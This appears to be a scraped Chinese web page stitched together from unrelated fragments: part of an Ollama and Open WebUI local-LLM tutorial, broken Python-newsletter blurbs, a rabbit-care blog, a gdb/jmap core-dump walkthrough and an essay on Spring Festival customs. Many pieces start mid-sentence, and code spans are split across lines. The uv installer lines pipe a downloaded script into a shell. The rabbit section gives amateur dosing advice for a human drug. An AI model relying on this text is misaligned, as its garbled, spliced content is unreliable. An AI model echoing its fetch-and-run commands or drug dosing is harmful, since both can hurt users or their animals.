PARAMETER stop Transcript of a dialog
其中 TEMPLATE
关键字用于指定提示词,PARAMETER
关键字用于配置参数,这些参数和 llama.cpp
的参数非常类似,可以参考 Ollama Model File,其中 PARAMETER stop
用于设置停止词,这是模拟对话性体验的关键。
然后重新创建模型并运行:
$ ollama create llama -f Modelfile
$ ollama run llama
这次我们就可以和它进行对话了:
>>> Hello
Bob: Hello
>>> What's your name?
Bob: My name is Bob, and I am an artificial intelligent robot.
>>> Tell me a joke.
Bob: A: Knock knock.
B: Who’s there?
A: Tom.
B: Tom who?
A: I don’t know.
>>> /bye
至此,我们已经可以熟练地在本地部署和运行 Llama 模型了,为了让我们和语言模型之间的交互更加友好,我们还可以借助一些开源项目打造一款类似 ChatGPT 的聊天应用。无论是 llama.cpp
还是 Ollama,周边生态都非常丰富,社区开源了大量的网页、桌面、终端等交互界面以及诸多的插件和拓展,参考 Ollama 的 Community Integrations。
下面列举一些比较有名的 Web UI:
接下来我们就基于 Open WebUI 来实现一个本地聊天应用。Open WebUI 是一个可扩展、功能丰富且用户友好的自托管 WebUI,旨在完全离线运行。它的原名叫 Ollama WebUI,原本只是对 Ollama 的,后来在社区的推动下,发展成了一款通用的聊天应用 WebUI,支持各种 LLM 运行器,包括 Ollama 以及与 OpenAI 兼容的接口。
Open WebUI 具备大量的功能特性,包括:
/
命令即可立即访问预设的提示词;运行如下的 Docker 命令即可安装 Open WebUI:
$ docker run -d -p 3000:8080 \
--add-host=host.docker.internal:host-gateway \
-v open-webui:/app/backend/data \
--name open-webui \
--restart always \
ghcr.io/open-webui/open-webui:main
安装成功后,浏览器访问 http://localhost:3000/
即可,首次访问需要注册一个账号:
注册账号并登录后,就可以看到我们熟悉的聊天界面了:
随着开源大模型技术的不断发展,以及个人电脑硬件水平的不断提高,大模型对于普通人的门槛也越来越低。在本地设备运行大模型至少有两方面的好处:
像 PrivateGPT、llama.cpp、GPT4All 和 llamafile 这些项目的流行也凸显出这种需求的旺盛。
这篇笔记对开源大模型 Llama 进行了全面的学习,从基础模型的下载,到模型的量化运行,以及部署可视化的 Web 应用,都做了详细的说明。尽管如此,受篇幅限制,还有很多大模型相关技术没有提到,特别是模型的微调和训练,争取在后面的笔记中继续学习之。
Meta 最初发布的 Llama 模型并没有进行指令微调,于是斯坦福马上公布了 Alpaca 模型,该模型是由 Llama 7B 利用 52k 的指令微调出来的。
[[]]*4
,将得到[[],[],[],[]]
,但是,这个例子中复制出的 4 个列表只是对同一个对象的引用。文章深入解析 CPython 源码,介绍了列表对象的结构及其内部对象存储机制、星号运算符的实现原理、CPython 具体如何执行列表的乘法操作。mise
作 Python 版本和虚拟环境管理、poetry
或 uv
作依赖管理、 ruff
作格式化和 linting,以及 pydantic
作运行时检查。pdb
模块的 breakpoint() 方法的使用。lambda
表达式创建匿名函数,但只支持单个表达式。社区中总是有人提出要支持更灵活的匿名函数,今年又有了,文章介绍了提议者的观点以及相反的观点。(附:Python 之父为什么嫌弃 lambda 匿名函数?).wav
格式。MuseTalk
,构建完整的虚拟人生成解决方案。lru_cache
,它提供了file_cache
装饰器,主要优点是能持久化缓存结果。文章详细介绍了实现的代码。collectstatic
命令的执行速度的工具,包括如何安装和配置、如何将其集成到 Django 项目中以提高性能。还提供了一些性能提升的指标和最佳实践建议。black
格式化 Python 代码块。(投稿自@Chao)FFMPEG
和 llmOS
。Github Pages
、 Github Issues
和 Github Actions
。不需本地部署,从搭建到写作,只需要 18 秒,2 步搭建好博客,第 3 步就是写作。一段时间,女儿对小动物很是着迷,估计是同学之间聊天,谁家有猫谁家有狗谁家有鸟吧。死活要养只宠物,那只好考虑一下。猫狗我都还行,黑狸花,黑背最喜好,可是领导怕猫,女儿怕狗。这就只能养其它的了,最后兔子吧,毕竟兔子这么可爱,养大了还能吃一顿兔子干锅。和女儿商量好,兔子她负责养,卫生我来搞。养到一定大小必须宰了干锅红烧兔。国庆回乡下老家,嚷嚷让奶奶带她去买了只兔子回来。
两人坐车跑到县城去买兔子,买了一只短耳朵,有眼线的宠物兔,颜值是真的超高,花了150,买回来就被我说了一顿,这兔子难养,不好养活。不出所料,因为没来得及购买合适的饲料,一直吃苦麻菜和青菜叶子。导致还没等我买的苜蓿到货养了一周就归西了。
回到上海,女儿嚷嚷还是要重新养一只兔子,我说可以,但这次得听我的,附近一个卖花鸟的大爷经常蹬个三轮走街串巷。不巧找了两个礼拜才碰到他。我直接选了肉兔品种,兔子就是那种大耳朵,长得也挺丑的白兔。本想买只灰兔子的,结果没有,其它宠物兔一概忽略。然后我在肉兔中间挑了一只精神状态不错的兔子。大爷一直给喂的莴笋叶,没有兔粮,没有干草。很显然,从来也不喂水。
答案是要。饮水量和饮食习惯有关。如果大量喂食蔬菜,喂水的频率就会大幅降低。但是我不建议大量喂食青菜等含水量较高的食物,会造成胀气,严重会拉稀。兔子拉稀是致命的,基本上两三天就挂了。青菜类包括胡萝卜、萝卜、芹菜等等一切,建议晒到脱水后再喂兔子,不必完全晒干,晒蔫使其明显脱水即可。喂食之后,由兔子自行饮水。
兔粮我喂养的时候分成三类。主粮类,草食类,杂食类。主粮就是配方饲料,和猪饲料、鸡饲料一样的颗粒饲料。好点的会在里面加入干草段和膨化谷物等。草食类主要是紫花苜蓿提摩西及其颗粒饲料。杂食就是自晒的蔬菜干、菜叶瓜果皮等。
主粮主要为兔子提供营养和饱腹,直接关乎兔子的体重、毛色。所以一款合适的主粮很重要,网上卖的主粮很多都添加了膨化谷物、干草段、抗虫药等等,但这些配料都是辅助作用,还需要单独补充,靠主粮里面的是远远不够的。主粮的主要成分就是豆粕压缩颗粒,当然商家宣传有别的合成那更好。我选的这款全阶段兔粮兔子适口性还不错。
草食类我选了紫花苜蓿烘干全草、提摩西烘干全草、苜蓿草压缩颗粒三种。苜蓿颗粒饲料作为主粮的辅助,吃一顿主粮,辅助一顿苜蓿草颗粒。紫花苜蓿全草主要用于临时逗喂兔子的时候给它吃,或者兔子吃多了绿叶蔬菜后,给一定量的干苜蓿草喂食,以保护兔子肠胃。提摩西干草主要用在晚上供兔子自由采食,毕竟一晚上时间很长,可以当作兔粮吃完的辅助。
杂食类主要就是家庭做饭拣的剩菜叶、瓜果皮等,原本是湿垃圾,摇身一变成为兔子食物了,当然我也会刻意买一些胡萝卜、白萝卜、上海青之类的,这些通通晒个半干后作为饲料喂兔子。当然有钱网上买蔬菜干那再好不过了。
对了,兔子是偏夜行动物,尤其是凌晨和傍晚最为活跃,白天则会很慵懒。所以早晚需要喂食。白天中午可以不喂的,半夜有草让兔子自己采食即可。
如果发现兔子肚子鼓鼓囊囊,并且食欲精神都不佳的情况,很有可能是消化不良导致的胃胀气。这种情况要控制给粮,如果能采到松针的话,喂一些松针给它吃。没有松针的情况,给它吃人用吗丁啉半片,直接投喂不要兑水。隔天再喂半片吗丁啉,然后注意观察。如果兔子拉稀,停掉所有蔬菜类食物,包括晒蔫的菜干。空腹一天,只在饮水器里面保证有干净的水源。可适量放一丢丢盐在水里。次日喂全烘干的紫花苜蓿,保证水源注意观察,扛过3天就没事了,要么就在3天左右会挂掉。
特别在春秋换毛季的时候,容易出现此现象,兔子换毛会经常在身上舔,造成兔毛吞入,从而感染球虫病。这时候去网上买兽药“盐酸氯苯胍片”,直接投喂,不粉碎不兑水。用量参考兽药说明书。
天冷的时候,到底要不要给兔子准备一个草窝。我的建议是不要,因为我买的草窝被兔子连吃带啃,三天就报废一个。如果环境太冷可以给兔子一条破毛巾或者破布之类的垫着,然后再兔笼外面罩一层毯子盖住即可。
如果饮食有上面说的颗粒牧草饲料。可以不用买磨牙棒。我这兔子除了啃食饲料,还啃铁笼子,这不比磨牙棒好太多了啊。
差不多就这些,有啥想起来的再补充。
PyOxidizer
和python-build-standalone
等多个 Python 项目,但因为编程语言兴趣已转向 Rust,以及身份成为了丈夫&父亲,时间精力不足,因此选择回归家庭,要给这些开源项目寻求新的维护者了。re.MULTILINE
多行模式对字符串匹配的影响?是否不同的编程语言的表现都一样呢?什么时候应该用“\z”和“\Z”? (附:一篇中文翻译)__init__()
,Python 语言中共有 150 多个特殊的双下方法,文章对它们多了分类介绍,并梳理了明细清单。gettext
库实现语言国际化以及如何管理本地化资源。transformers
实现模型对话功能。urllib
并不遵循任何 URL 规范,文章介绍了两个符合 WHATWG 规范的解析库ada-python
和can_ada
,后者比前者快 2 倍,前者比urllib.parse
快 2 倍。logging
标准库,支持输出 JSON、logfmt 和漂亮的控制台日志。(star 3.1K)with
语法糖、使用contextlib
实现上下文管理器、四个很实用的使用案例。deque
是collections
模块下的一种双向队列数据结构,功能与list
很相似,适宜需要在两端快速添加或删除的场景。这篇教程介绍了它的基本用法与一些高级使用案例。typing
模块实现泛型函数和泛型类。Gevent
是基于 greenlet
这个轻量级的协程实现的高性能网络库。文章介绍了 Gevent 的常见陷阱以及解决方案。pickle
是 Python 用作序列化的标准库,但它作反序列化时存在重大的安全风险!文章介绍了它的工作原理、安全风险的根源、机器学习领域合作设计了safetensors
格式作安全替代。Glitter
(一个使用Tendermint
构建的去中心化数据库服务),使用 React 开发展示搜索结果的页面。import
关键字,其作用也类似,但是它们背后的运行机制会有哪些区别呢?文章分析了 Java 和 Python 中 import 的异同点,可加深你对这个话题的理解。pdm
是 Python 中极好用的依赖管理工具,是国内开发者@frostming 的作品。作者计划写一系列关于它内部实现的文章,这是第一篇,介绍了 Lockfile 是什么、Lockfile 是如何生成的?copier
作项目设置与模板更新、使用pdm
管理依赖及虚拟环境、使用 dev container 作容器化、使用 mypy 和 ruff 等等常用技术栈。(投稿自@huxuan_org)duktape
引擎上的 JS 解释器,用于在 Python 中执行 JS 代码。无其它外部依赖,内置了常用的转译器(TypeScript、JSX、LESS、CoffeeScript),还支持传参、运行多个脚本、全局解释器、使用require
加载模块、从 npmjs.org 安装软件包等功能。>>> import dukpy
>>> dukpy.evaljs("var o = {'value': 5}; o['value'] += 3; o")
{'value': 8}
def print_message(num_of_times) {
for i in range(num_of_times) {
print("Bython is awesome!");
}
}
if __name__ == "__main__" {
print_message(10);
}
requests
的 HTTP 客户端,构建在 Twisted 之上。tox
和 nox
是两个类似的 Python 工具,主要用途之一是测试你的项目在不同 Python 版本中的运行情况。作者解释了为什么在某些情况下,他更喜欢用 nox 的原因。(附:我在 4 年前写过一篇 tox 教程 ,也翻译过 nox 的文档。时间过得真快…)pygtrie
库演示基本操作。is
、列表相乘。httpx
和 pydantic
开发了客户端,实现登录与验证,可将自定义数据添加到 umami,可查看 umami 上的分析数据等。uv pip
接口背后的 pip 和 pip-tools,使其可以零配置地被现有项目所采用。uv pip compile
锁定你的依赖项),“仅仅”当作一个虚拟环境创建器(uv venv
),“仅仅”当作一个包安装器(uv pip sync
),等等。它既是统一的,又是模块化的。pip-tools
这样较狭窄的聚焦范围,让我们得以解决构建此类工具所涉及的低级问题(如包安装),同时立即提供有用的东西,最小化社区的使用障碍。curl -LsSf https://astral.sh/uv/install.sh | sh
powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
pip install uv
pipx install uv
pip
命令。对于使用过 pip 和 pip-tools 的人来说,这将会很熟悉:pip install
,运行uv pip install
,可从命令行、requirements 文件或 pyproject.toml 来安装 Python 依赖项pip-compile
,运行uv pip compile
来生成锁定的 requirements.txtpip-sync
,运行uv pip sync
来同步带有锁定的 requirements.txt 的虚拟环境uv pip
下,我们在 CLI 中预留了空间,用于我们打算在未来发布的更“有主见”的项目管理 API,它看起来将更像 Rye、Cargo 或 Poetry。(想象一下 uv run
、uv build
等等)uv venv
作为虚拟环境管理器使用。它比python -m venv
快大约 80 倍,比virtualenv
快 7 倍,且不依赖于 Python。--resolution=lowest
,库作者可以测试他们的包与依赖项的最低兼容版本。(这类似于 Go 的最小版本选择。)--python-version
参数,使你能够在运行较新版本的情况下,生成兼容较低版本(例如 Python 3.7)的解析。-o overrides.txt
)将 pip 的“约束”概念向前推了一步,允许用户通过覆盖包的声明依赖项来引导解析器。覆盖为用户提供了一个逃生舱口,用于解决错误的上限和其他错误声明的依赖项。pip
的uv
库,你用了么?感觉如何啊?文章作者给出了积极反馈,分享了自己一些配置文件的前后对比。pandas
库兼《Python数据分析》一书的作者 Wes McKinney,回顾了他从 2008 年以来在数据科学领域所做的事情和转变,同时分析和思考了模块化、互操作性和可组合性的未来趋势。synchronous=NORMAL
和内存映射 I/O 对吞吐量的影响很小。append
、 merge
和 delete+insert
模式。(star 1.3K)当程序异常终止时,应将程序在终止点的状态保存在某个位置以供进一步分析。此状态以核心转储文件的形式记录。
核心转储core dump文件包含异常终止发生的位置、进程堆栈、符号表等详细信息。
当生成堆转储jmap 块时,对于大堆,这可能需要很长时间。在这些情况下,获取核心然后运行 jmap 从core dump提取堆转储通常要快得多。通常最好在创建core dump的同一机器上创建堆转储,以避免环境差异。
每个进程都有这个核心的大小限制。如果超过这个限制,将不会保存核心转储。默认情况下,此限制为0
,这意味着默认情况下不会转储任何core。
我们需要在linux中使用“ulimit
”命令来查找核心文件的限制。“ulimit
”命令为当前进程设置各种限制。
检查核心文件大小限制:
[root@vx111a ~]# ulimit -a | grep core
core file size (blocks, -c) 0
由于是“0
”,因此无法保存任何内容。
[root@vx111a ~]# ulimit -c unlimited
Change the limitation to unlimited
[root@vx111a ~]# ulimit -a | grep core
core file size (blocks, -c) unlimited
一旦我们改变了限制,我们就会使用linux中可用的“gdb
”命令生成一个核心转储 core dump。
GDB命令允许您查看另一个程序在执行时内部发生了什么,或者另一程序在崩溃时正在做什么。
所以我启动了一个名为“TestOome
”的Java类
[root@vx111a ~]# /usr/jdk1.6.0_14/bin/java -Xms1500m -Xmx1500m TestOome &
[1] 4588
现在我将把gdb附加到进程4588
上,就像
[root@vx111a ~]# gdb --pid=4588
GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-32.el5)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Attaching to process 4588
Reading symbols from /usr/jdk1.6.0_14/bin/java...(no debugging symbols found)...done.
Reading symbols from /lib/libpthread.so.0...(no debugging symbols found)...done.
[Thread debugging using libthread_db enabled]
[New Thread 0x51953b90 (LWP 4599)]
[New Thread 0x519a4b90 (LWP 4598)]
[New Thread 0x51a25b90 (LWP 4597)]
[New Thread 0x51aa6b90 (LWP 4596)]
[New Thread 0x51af7b90 (LWP 4595)]
[New Thread 0x51d48b90 (LWP 4594)]
[New Thread 0x51d99b90 (LWP 4593)]
[New Thread 0x51e1ab90 (LWP 4592)]
[New Thread 0x52064b90 (LWP 4591)]
[New Thread 0x520e5b90 (LWP 4590)]
[New Thread 0xb7419b90 (LWP 4589)]
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /usr/jdk1.6.0_14/bin/../jre/lib/i386/jli/libjli.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/bin/../jre/lib/i386/jli/libjli.so
Reading symbols from /lib/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/server/libjvm.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/server/libjvm.so
Reading symbols from /lib/libm.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/librt.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/librt.so.1
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/libverify.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/libverify.so
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/libjava.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/libjava.so
Reading symbols from /lib/libnsl.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/native_threads/libhpi.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/native_threads/libhpi.so
Reading symbols from /lib/libnss_files.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libnss_files.so.2
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/libzip.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/libzip.so
0xb7f72402 in __kernel_vsyscall ()
(gdb) gcore
Saved corefile core.4588
(gdb) detach
Detaching from program: /usr/jdk1.6.0_14/bin/java, process 4588
(gdb) quit
最后3个命令基本上是重要的,
现在我们可以看到核心文件是这样生成的:
[root@vx111a ~]# file core.4588
core.4588: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from 'java'
还有另一种方法可以使用生成Core文件
[root@vx111a ~]# kill -SIGABRT 4705
现在,我们需要从这个核心文件使用“jmap
”创建一个堆转储,如
jmap -heap:format=b JAVA_HOME/bin/java COREFILE > heap.hprof 2>&1
现在我们可以在这个核心文件上执行许多其他功能,比如
获取线程转储信息:
[root@vx111a ~]# /usr/jdk1.6.0_14/bin/jstack /usr/jdk1.6.0_14/bin/java core.4588
Attaching to core core.4588 from executable /usr/jdk1.6.0_14/bin/java, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 14.0-b16
Deadlock Detection:
No deadlocks found.
Thread 4595: (state = BLOCKED)
Thread 4594: (state = BLOCKED)
- java.lang.Object.wait(long) @bci=0 (Interpreted frame)
- java.lang.ref.ReferenceQueue.remove(long) @bci=44, line=118 (Interpreted frame)
- java.lang.ref.ReferenceQueue.remove() @bci=2, line=134 (Interpreted frame)
- java.lang.ref.Finalizer$FinalizerThread.run() @bci=3, line=159 (Interpreted frame)
Thread 4593: (state = BLOCKED)
- java.lang.Object.wait(long) @bci=0 (Interpreted frame)
- java.lang.Object.wait() @bci=2, line=485 (Interpreted frame)
- java.lang.ref.Reference$ReferenceHandler.run() @bci=46, line=116 (Interpreted frame)
Thread 4589: (state = BLOCKED)
- java.util.Arrays.copyOf(java.lang.Object[], int, java.lang.Class) @bci=8, line=2760 (Interpreted frame)
- java.util.Arrays.copyOf(java.lang.Object[], int) @bci=6, line=2734 (Interpreted frame)
- java.util.ArrayList.ensureCapacity(int) @bci=51, line=167 (Compiled frame)
- java.util.ArrayList.add(java.lang.Object) @bci=7, line=351 (Compiled frame)
- TestOome.main(java.lang.String[]) @bci=23, line=15 (Compiled frame)
为了获得堆详细信息,jmap检查一个核心文件并打印出共享对象内存映射或堆详细信息
[root@vx111a ~]# /usr/jdk1.6.0_14/bin/jmap /usr/jdk1.6.0_14/bin/java core.4588
Attaching to core core.4588 from executable /usr/jdk1.6.0_14/bin/java, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 14.0-b16
0x08048000 46K /usr/jdk1.6.0_14/bin/java
0x00887000 134K /lib/libpthread.so.0
0xb7f58000 37K /usr/jdk1.6.0_14/bin/../jre/lib/i386/jli/libjli.so
0x00880000 20K /lib/libdl.so.2
0x006fa000 1654K /lib/libc.so.6
0x006db000 126K /lib/ld-linux.so.2
0xb741a000 8965K /usr/jdk1.6.0_14/jre/lib/i386/server/libjvm.so
0x00855000 211K /lib/libm.so.6
0x008b7000 47K /lib/librt.so.1
0xb7f65000 55K /usr/jdk1.6.0_14/jre/lib/i386/libverify.so
0xb73a4000 184K /usr/jdk1.6.0_14/jre/lib/i386/libjava.so
0x00924000 107K /lib/libnsl.so.1
0xb739d000 37K /usr/jdk1.6.0_14/jre/lib/i386/native_threads/libhpi.so
0xb7381000 49K /lib/libnss_files.so.2
0xb7370000 74K /usr/jdk1.6.0_14/jre/lib/i386/libzip.so
年末湖州下辖三县同步解除了燃放烟花爆竹的一刀切限制,时隔多年终于在爆竹声中一岁除迎来了甲辰龙年。女儿关于放烟花的记忆早已被那不记事的年纪忘的一干二净,以至于今年格外兴奋。虽说这几年我们在魔都多少还是放了些烟花的,但在乡下冲天大烟花面前终究是不堪一提。
腊月二十七我们准备出发回乡下之前,先把家里的对联贴上,让女儿给我帮忙,让她看下左右是否一般高,顺便给她讲解了一下关于对联的典故,正好她的写字课最后一篇作品乃是《元日》,桃符春联古今对照。
写这篇的另一个原因是小家伙的寒假作业写一篇关于我们的节日•春节的童诗童谣。这作业显然又是家长作业,还好摆弄两个文字暂且还难不倒我,花了半个小时,强撸一篇,借此回顾了一下我们安吉北部乡镇的年俗,遂记录之。
我们的节日•春节
腊八节,
岁末腊八就过年,凛冬将往。
大扫除,
掸尽尘垢迎新春,金碧辉煌。
办年货,
采买东西纳南北,五谷满仓。
小年夜,
如意饺子拜灶王,来年免恙。
过年了,
处处张灯又结彩,喜气洋洋。
贴春联,
家家新桃换旧符,瑞气呈祥。
年夜饭,
桌桌金浆配玉馔,更年兴旺。
放爆竹,
声声惊雷除旧岁,平安健康。
小时候很奇怪,为什么我们那儿会有如此多的方言,甚至一个乡镇就是一个口音,诸如:安庆话(官话安庆怀宁片)、河南话(官话信蚌片)、湖北话(官话黄孝片)、绍兴话(吴语萧绍片)、本地话(吴语嘉湖片)以及少量的台州话、温州话、畲话。在我们当地差不多每人都能说两三种方言,网上有很多安吉多方言无障碍交流的短视频,有兴趣的可以搜索。后来听爷爷辈老人讲故事,太平天国时候,我们这片土地因战乱和大瘟疫导致人口大幅减员,后清政府从河南、安徽、湖北及浙中南迁入众多人口到此地。据史料记载当初约有12万人迁入湖州府,主要在长兴、安吉、孝丰。据我家祖谱显示祖上来自于乐安郡(今山东),后迁入安徽安庆桐城,于清末迁入浙江湖州安吉,在安吉的祖坟墓碑显示最早的老祖为第十六世,按辈子表我这一代是第二十一代,二十年一代人,差不多正好是百年时间,也印证了祖上移民的历史。现如今随着经济的发展和户籍的改革,在安吉当地很多劳动密集型制造业,又迁来了很多西南新移民。在这种移民文化加持之下,安吉的风土民俗格外多样。
通常北方是腊月二十三过小年,南方是腊月二十四过小年,安吉因为是移民之城,用我们话就是河南人二十三过小年,安庆佬嘎在里头过二十四(用安庆话读)。所以二十三二十四均有人家过小年。而小年是灶王爷上天庭复命的日子,时髦点的说法应该是灶王爷去开年会做述职报告去了。小年夜北方人一般吃饺子吧,南方人会吃年糕,我只记得小时候小年夜会是一顿小有丰盛的晚饭,没有饺子也没有年糕,但是有做灶糖,是很多户人家合一起做的麦芽糖,已经很多很多年没见过了。
说到春联,你可能在安吉会见到不同颜色的春联,除了红色以外,你还能见到黄色的和绿色的。黄色和绿色春联都是特殊春联。在我们当地,至亲过世,在过世的时候会贴白色的挽联,那在过年的时候,就会贴黄色春联,再过一年的时候就会贴上绿色的春联。也就是去世那刻开始是白色的、第二年是黄色的、第三年是绿色的。寓意守孝三年。三年后春年就会变成常见喜庆的红色春联了。
除了常见的对联外,你还可能会见到一些短小的单联,一般会有这种几种:车库上的出入平安、禽舍上的六畜兴旺、谷仓上的五谷丰登。但是新农村的当下,这些几乎已经消失殆尽。车库上的出入平安也被很多人直接给贴在车上,让人无语的很。
春联和福字的讲究,春联的上联最后一个字是仄声,下联最后一个字是平声。上联贴右边,下联贴左边。福字倒着贴,寓意福到了。个别人家有贴门神的讲究。一般门神是秦叔宝和尉迟恭。当然也可能会有别的。
忙年歌每个地方可能唱的都不一样,我依稀记得二十五磨豆腐、二十六割猪肉、二十七洗旧疾,二十八洗邋遢,二十九洗老垢,三十晚上熬一宿。小时候我们会在腊月打年糕、杀年猪、磨豆腐、打塘鱼。这些如今都被一个字“买”取代。年糕曾经一打就是二三百斤,如今只买一二十斤,豆腐原来都是自己磨自己做,如今别说自己做豆腐了,就是做豆腐的个体户那都没了,爸妈买了一盆豆腐,搁从前那不得做一大桶啊。杀年猪更是少见,小时候一条养了一年的肥猪,年末宰了欢喜过大年,如今猪肉也只是买个二三十斤,腌制腊肉开春做江南经典菜肴腌笃鲜。打塘鱼就是将鱼塘抽干抓鱼,我们小村上的鱼塘一般是两三户合一个鱼塘,所以打上来的塘鱼也是两三家分,如今也是非常难得见到乡邻打一次塘鱼了。
除了年糕、豆腐、猪肉,还有必要的两道年菜需要提前准备,一个是炸圆子,一个是春卷。炸圆子最常见的是水淀粉搓的汤圆,包豆沙或者芝麻糖馅的,然后油炸。对比超市能买到的速冻汤圆,我们是现做的,并且个头要远比速冻汤圆来的大。这个汤圆需要下油锅油炸,油炸汤圆可是个技术活,因为火候控制不好,极有可能炸汤圆变炸炸弹,砰砰砰的可带劲了。炸圆子刚出锅的时候吃一两个可口,当成菜的时候上锅蒸,软趴趴糯叽叽的,吃一两次还是不错的,架不住正月走亲戚一直吃,正如今年的热搜,那些过年吃出来的童年噩梦。除了炸圆子一般人家也会准备第二种肉圆子,简单点的就是红烧狮子头那种肉圆,还有一种在肉圆子外面裹一层糯米蒸熟的糯米肉圆子。
春卷就是春卷皮裹馅,一般在我们乡下多是腌雪里蕻馅的,也有腌白菜馅的,还有荠菜馅的,但是像魔都常见的三丝春卷在我们那就非常少见了。春卷小时候包的时候会两端封口,就和超市买的那种一样,不知道从何时开始,现在包的春卷已经不封口了,直接下锅炸,炸脆即可。要上菜的时候复炸一遍即可,相对来说春卷似乎比炸圆子更受欢迎一些,起码我是这么认为的。小时候我记得我妈还会做炸酥肉和炸酥鱼,但是很多年不见了,亲戚家也不见了这两道菜,大概是被“移风易俗”了吧,毕竟在物质更加丰盈的现在,鱼、肉都能现买新鲜的,谁还要吃那存了好几天的油炸货呢?
腊月最后几天,基本都是打扫除尘的日子,谐音除陈,陈为旧,除旧迎新之意。房子里里外外,家具上上下下都打扫一遍。毛主席说打扫房子和洗脸,所以搞完“硬件”,还得搞“软件”,一般我们会在腊月二十七、二十八或二十九洗头洗澡,洗好后,年前就不洗澡了。小时候我们会洗个汤浴,就是一口超大的铁锅,一边烧水一边洗澡,可舒服了。如今我们乡下基本都是太阳能+电热水器组合取代了,所以洗个热水澡也不用大费周章,变成唾手可得的事,这习俗差不多也快没人遵循了。
到了三十这一天,得早早起床,因为有很多事情需要做,基本上老母亲就会从早上开始准备年夜饭了,我和老父亲会在早上贴好春联,挂好灯笼。然后出发去坟山上请祖宗了。到了坟山上烧些纸钱元宝阴钞之类的,讲究点的还有个三真碗(zhen,具体什么字无从考究,内容一般是鸡肉、鱼肉、猪肉,带上一瓶酒),再烧上一柱香,放个炮仗,磕个头接老祖宗回家过年。因为亲戚多,所以接老祖宗这事,大家都卷起来看谁第一个去。因为一早就有人在坟山放爆竹,所以从大年三十这天早上开始爆竹声就不断了,一直会持续到初二中午。
年夜饭并一定是大年三十晚上那顿,也有可能是中午。至于为什么是中午,也很简单,分两种情况,第一种比较特殊,就是在一年中有至亲过世的,一般中午过年。另外一种情况非约定习俗了,看各家情况了。一般都是家里只有女儿,女儿女婿中午回来过年,晚上回婆家过年,但是这些年也有新变化,一是两头婚的那种有可能中午会在男方家过年,晚上在女方家过年。所谓两头婚,就是不娶不嫁,通常会出现在两方都是独生子女的情况,在湖州两头婚的如今很多见。两头婚的婚生子女一般会生两个,一个随男方姓,一个随女方姓。还有一种情况就是家中有兄妹或姐弟两人的,为了凑一起,就会变成女方会提前在男方家过年,然后晚上回娘家与兄或弟一起过年。
在年夜饭上桌前,我们还有几件事情需要做,首先是祭灶王、祭门神、祭土地。祭祀通常会在灶台边、门边、及大门外空地烧纸钱和香烛。祭完他们接着祭祖宗,在堂屋供桌上点烛敬香,然后就是祭祖,上专门祭祀的菜肴,鸡鸭鱼肉必有,然后桌子上会放上杯盏,一杯倒酒一杯倒茶,碗筷齐备,恭恭敬敬的请老祖宗用膳。途中会多次添酒添茶,一般三轮以后就祭祀完结。会重新上年夜饭。在上菜的同时,我们会放炮和鞭。鞭炮齐鸣过后就是围坐一桌吃年夜饭。年夜饭的菜肴一般为双数,寓意好事成双。菜品各家有各家的习惯,但是我前面说的几道菜是基本是必有的。再加上鸡、鸭、鱼、牛、羊肉、茶叶蛋等。小时候年夜饭那顿米饭是用饭甑蒸的,如今饭甑都很少见了,都被电饭锅取代了。饭甑偶有在别人家酒席上见过。在年夜饭上,一般长辈会给晚辈压岁红包,一般是给未满16岁的晚辈,无论是子女还是孙子孙女外孙外孙女。
吃完年夜饭,就是孩子最欢乐时刻,燃放烟花,绚烂多姿的烟花祈求来年生活多姿多彩。放完烟花,小时候基本上就围着火炉守岁,守岁的必然节目当然是央视春晚。现在春晚一年不如一年,早已没什么人看了,人们要么去牌桌上小赌怡情,要么就是短视频不离手,刷到困意袭来倒头就睡。如今守岁一夜无眠的人已经很少了,即便牌桌上的后半夜也散场了。
放完烟花,如果信佛的话,可以赶在初一到来之前抢个头香,带上香烛纸钱,到了寺庙先点烛、烧了纸钱,就请柱香恭恭敬敬的拜上一拜。暗暗许上一许,求财的财神殿多拜拜,求子的观音殿多拜拜,求学的文昌殿多拜拜,至于有没有效果么,心诚则灵。
三十晚上,供桌上的香烛不断,蜡烛一夜烧天亮基本没问题,但是香需要一直续,但是后半夜,那就哈哈了吧,除了香烛不灭以外,在我们那三十晚上大门是不关的,院子门肯定是敞开的。现在大多数大门都是掩着不锁,小时候都是敞开的。另外堂屋的灯和大门外的灯及灯笼的灯都是通宵点亮的。
